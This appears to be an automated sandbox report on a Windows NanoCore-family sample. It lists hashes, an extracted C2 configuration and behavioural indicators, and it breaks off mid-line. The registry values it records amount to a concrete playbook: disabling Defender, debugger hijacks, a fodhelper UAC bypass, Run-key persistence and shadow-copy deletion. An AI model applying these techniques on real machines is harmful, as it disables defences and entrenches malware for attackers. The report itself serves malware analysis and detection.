Analysis
- max time kernel
149s - max time network
145s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
30/08/2026, 22:15
Behavioral task
behavioral1
Sample
socolivetvttbd.tv_chrome.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
40 signatures
150 seconds
Behavioral task
behavioral2
Sample
socolivetvttbd.tv_chrome.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
38 signatures
150 seconds
General
- Target socolivetvttbd.tv_chrome.exe
- Size 57KB
- Sample260830-16pyqaap3y
- SHA256 cc205c2194dcd1b8d1e9d96f16a49281bd4b5e5259fae782eb3d18cdae4e23e5
- MD5 e900f25e06fc17a8f226ac6c7e34e00f
- SHA1 8a59569d399a14505413283b4fadc732ef0dd94c
- SHA512 b93179c747c4d7e81e07461bc83c1f10254f24ad52c4df65c74e222021a86522fb5c17399ff2f5b17008539fc093cfce17d898d32ed41b8a89a365b27b957de2
- SSDEEP 768:JFH4qdXBO7CHoiGKpFpkCk3uPBdgYMK4YN1XXGb5fAdOT+KFum19:JRhI5XJuf9t4YLXGb5feOT+uuy
- TLSH T15043E84473FD4211F1BF5EBA5DB191514B32B867AD32C39D0A94068E19B2B40CEA8F7B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
nanocore
Version
-
1.2.2.0
C2
-
http://socolivetvttbd.tv
Mutex
-
ac7e2f05-8df7-4c55-8841-78385f6bb064
Attributes
-
c2_url
http://socolivetvttbd.tv
-
default_group
xoilac
-
primary_dns
ali.ns.cloudflare.com
-
secondary_dns
woz.ns.cloudflare.com
-
version
1.2.2.0
Signatures
- Contains code to disable Windows Defender 3 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/1912-0-0x0000000000DB0000-0x0000000000DC4000-memory.dmp disable_win_def behavioral1/memory/1912-1-0x000000001BBC0000-0x000000001BBD0000-memory.dmp disable_win_def behavioral1/files/0x00070000000249a7-2278.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" socolivetvttbd.tv_chrome.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" socolivetvttbd.tv_chrome.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5016 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" socolivetvttbd.tv_chrome.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts socolivetvttbd.tv_chrome.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe socolivetvttbd.tv_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolivetvttbd.tv_chrome.exe" socolivetvttbd.tv_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe socolivetvttbd.tv_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolivetvttbd.tv_chrome.exe" socolivetvttbd.tv_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe socolivetvttbd.tv_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolivetvttbd.tv_chrome.exe" socolivetvttbd.tv_chrome.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 2460 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\International\Geo\Nation socolivetvttbd.tv_chrome.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf socolivetvttbd.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf socolivetvttbd.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf socolivetvttbd.tv_chrome.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolivetvttbd.tv_chrome.exe" socolivetvttbd.tv_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolivetvttbd.tv_chrome.exe" socolivetvttbd.tv_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolivetvttbd.tv_chrome.exe" socolivetvttbd.tv_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolivetvttbd.tv_chrome.exe" socolivetvttbd.tv_chrome.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 4904 tasklist.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe socolivetvttbd.tv_chrome.exe File created C:\Windows\system32\sysupdate.exe socolivetvttbd.tv_chrome.exe File opened for modification C:\Windows\system32\sysupdate.exe socolivetvttbd.tv_chrome.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 688 wscript.exe 4612 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" socolivetvttbd.tv_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" socolivetvttbd.tv_chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3000 sc.exe 4176 sc.exe 3960 sc.exe 3200 sc.exe 4356 sc.exe 3892 sc.exe 4836 sc.exe 756 sc.exe 1380 sc.exe 3328 sc.exe 1324 sc.exe 712 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3328 cmd.exe 4020 cmd.exe 1300 cmd.exe 3616 cmd.exe 4648 cmd.exe 460 cmd.exe 3320 cmd.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 2136 ipconfig.exe 3296 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 4380 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 544 vssadmin.exe 716 vssadmin.exe 688 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\Desktop\WallpaperStyle = "2" socolivetvttbd.tv_chrome.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open\command socolivetvttbd.tv_chrome.exe Key created \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell socolivetvttbd.tv_chrome.exe Key created \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open socolivetvttbd.tv_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open\command\DelegateExecute socolivetvttbd.tv_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell socolivetvttbd.tv_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\socolivetvttbd.tv_chrome.exe\" \"%1\"" socolivetvttbd.tv_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell socolivetvttbd.tv_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolivetvttbd.tv_chrome.exe" socolivetvttbd.tv_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command socolivetvttbd.tv_chrome.exe Key created \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings socolivetvttbd.tv_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet socolivetvttbd.tv_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open socolivetvttbd.tv_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open\command socolivetvttbd.tv_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings socolivetvttbd.tv_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\.pdf\ = "PDFBotnet" socolivetvttbd.tv_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open socolivetvttbd.tv_chrome.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2440 schtasks.exe 3160 schtasks.exe 3056 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5016 powershell.exe 5016 powershell.exe 5016 powershell.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe 1912 socolivetvttbd.tv_chrome.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1912 socolivetvttbd.tv_chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 3364 WMIC.exe Token: SeSecurityPrivilege 3364 WMIC.exe Token: SeTakeOwnershipPrivilege 3364 WMIC.exe Token: SeLoadDriverPrivilege 3364 WMIC.exe Token: SeSystemProfilePrivilege 3364 WMIC.exe Token: SeSystemtimePrivilege 3364 WMIC.exe Token: SeProfSingleProcessPrivilege 3364 WMIC.exe Token: SeIncBasePriorityPrivilege 3364 WMIC.exe Token: SeCreatePagefilePrivilege 3364 WMIC.exe Token: SeBackupPrivilege 3364 WMIC.exe Token: SeRestorePrivilege 3364 WMIC.exe Token: SeShutdownPrivilege 3364 WMIC.exe Token: SeDebugPrivilege 3364 WMIC.exe Token: SeSystemEnvironmentPrivilege 3364 WMIC.exe Token: SeRemoteShutdownPrivilege 3364 WMIC.exe Token: SeUndockPrivilege 3364 WMIC.exe Token: SeManageVolumePrivilege 3364 WMIC.exe Token: 33 3364 WMIC.exe Token: 34 3364 WMIC.exe Token: 35 3364 WMIC.exe Token: 36 3364 WMIC.exe Token: SeDebugPrivilege 5016 powershell.exe Token: SeBackupPrivilege 1616 vssvc.exe Token: SeRestorePrivilege 1616 vssvc.exe Token: SeAuditPrivilege 1616 vssvc.exe Token: SeIncreaseQuotaPrivilege 3364 WMIC.exe Token: SeSecurityPrivilege 3364 WMIC.exe Token: SeTakeOwnershipPrivilege 3364 WMIC.exe Token: SeLoadDriverPrivilege 3364 WMIC.exe Token: SeSystemProfilePrivilege 3364 WMIC.exe Token: SeSystemtimePrivilege 3364 WMIC.exe Token: SeProfSingleProcessPrivilege 3364 WMIC.exe Token: SeIncBasePriorityPrivilege 3364 WMIC.exe Token: SeCreatePagefilePrivilege 3364 WMIC.exe Token: SeBackupPrivilege 3364 WMIC.exe Token: SeRestorePrivilege 3364 WMIC.exe Token: SeShutdownPrivilege 3364 WMIC.exe Token: SeDebugPrivilege 3364 WMIC.exe Token: SeSystemEnvironmentPrivilege 3364 WMIC.exe Token: SeRemoteShutdownPrivilege 3364 WMIC.exe Token: SeUndockPrivilege 3364 WMIC.exe Token: SeManageVolumePrivilege 3364 WMIC.exe Token: 33 3364 WMIC.exe Token: 34 3364 WMIC.exe Token: 35 3364 WMIC.exe Token: 36 3364 WMIC.exe Token: SeDebugPrivilege 1912 socolivetvttbd.tv_chrome.exe Token: SeIncBasePriorityPrivilege 1912 socolivetvttbd.tv_chrome.exe Token: SeDebugPrivilege 404 whoami.exe Token: SeDebugPrivilege 3296 NETSTAT.EXE Token: SeDebugPrivilege 4904 tasklist.exe Token: SeIncreaseQuotaPrivilege 4320 WMIC.exe Token: SeSecurityPrivilege 4320 WMIC.exe Token: SeTakeOwnershipPrivilege 4320 WMIC.exe Token: SeLoadDriverPrivilege 4320 WMIC.exe Token: SeSystemProfilePrivilege 4320 WMIC.exe Token: SeSystemtimePrivilege 4320 WMIC.exe Token: SeProfSingleProcessPrivilege 4320 WMIC.exe Token: SeIncBasePriorityPrivilege 4320 WMIC.exe Token: SeCreatePagefilePrivilege 4320 WMIC.exe Token: SeBackupPrivilege 4320 WMIC.exe Token: SeRestorePrivilege 4320 WMIC.exe Token: SeShutdownPrivilege 4320 WMIC.exe Token: SeDebugPrivilege 4320 WMIC.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1912 socolivetvttbd.tv_chrome.exe - Suspicious use of WriteProcessMemory 44 IoCs
description pid Process procid_target PID 1912 wrote to memory of 5016 1912 socolivetvttbd.tv_chrome.exe 87 PID 1912 wrote to memory of 3892 1912 socolivetvttbd.tv_chrome.exe 88 PID 1912 wrote to memory of 4836 1912 socolivetvttbd.tv_chrome.exe 90 PID 1912 wrote to memory of 756 1912 socolivetvttbd.tv_chrome.exe 93 PID 1912 wrote to memory of 4176 1912 socolivetvttbd.tv_chrome.exe 95 PID 1912 wrote to memory of 1380 1912 socolivetvttbd.tv_chrome.exe 97 PID 1912 wrote to memory of 3328 1912 socolivetvttbd.tv_chrome.exe 127 PID 1912 wrote to memory of 1324 1912 socolivetvttbd.tv_chrome.exe 101 PID 1912 wrote to memory of 3960 1912 socolivetvttbd.tv_chrome.exe 103 PID 1912 wrote to memory of 2652 1912 socolivetvttbd.tv_chrome.exe 105 PID 1912 wrote to memory of 712 1912 socolivetvttbd.tv_chrome.exe 106 PID 1912 wrote to memory of 3000 1912 socolivetvttbd.tv_chrome.exe 108 PID 1912 wrote to memory of 544 1912 socolivetvttbd.tv_chrome.exe 110 PID 1912 wrote to memory of 3364 1912 socolivetvttbd.tv_chrome.exe 121 PID 2652 wrote to memory of 1320 2652 fodhelper.exe 114 PID 1912 wrote to memory of 688 1912 socolivetvttbd.tv_chrome.exe 154 PID 1912 wrote to memory of 2440 1912 socolivetvttbd.tv_chrome.exe 120 PID 1912 wrote to memory of 3160 1912 socolivetvttbd.tv_chrome.exe 122 PID 1912 wrote to memory of 3328 1912 socolivetvttbd.tv_chrome.exe 127 PID 1912 wrote to memory of 3320 1912 socolivetvttbd.tv_chrome.exe 129 PID 1912 wrote to memory of 460 1912 socolivetvttbd.tv_chrome.exe 130 PID 1912 wrote to memory of 4648 1912 socolivetvttbd.tv_chrome.exe 131 PID 1912 wrote to memory of 3616 1912 socolivetvttbd.tv_chrome.exe 132 PID 1912 wrote to memory of 1300 1912 socolivetvttbd.tv_chrome.exe 133 PID 1912 wrote to memory of 4020 1912 socolivetvttbd.tv_chrome.exe 134 PID 1912 wrote to memory of 3056 1912 socolivetvttbd.tv_chrome.exe 141 PID 1912 wrote to memory of 4612 1912 socolivetvttbd.tv_chrome.exe 142 PID 1912 wrote to memory of 1316 1912 socolivetvttbd.tv_chrome.exe 144 PID 3616 wrote to memory of 4104 3616 cmd.exe 145 PID 4648 wrote to memory of 404 4648 cmd.exe 146 PID 1300 wrote to memory of 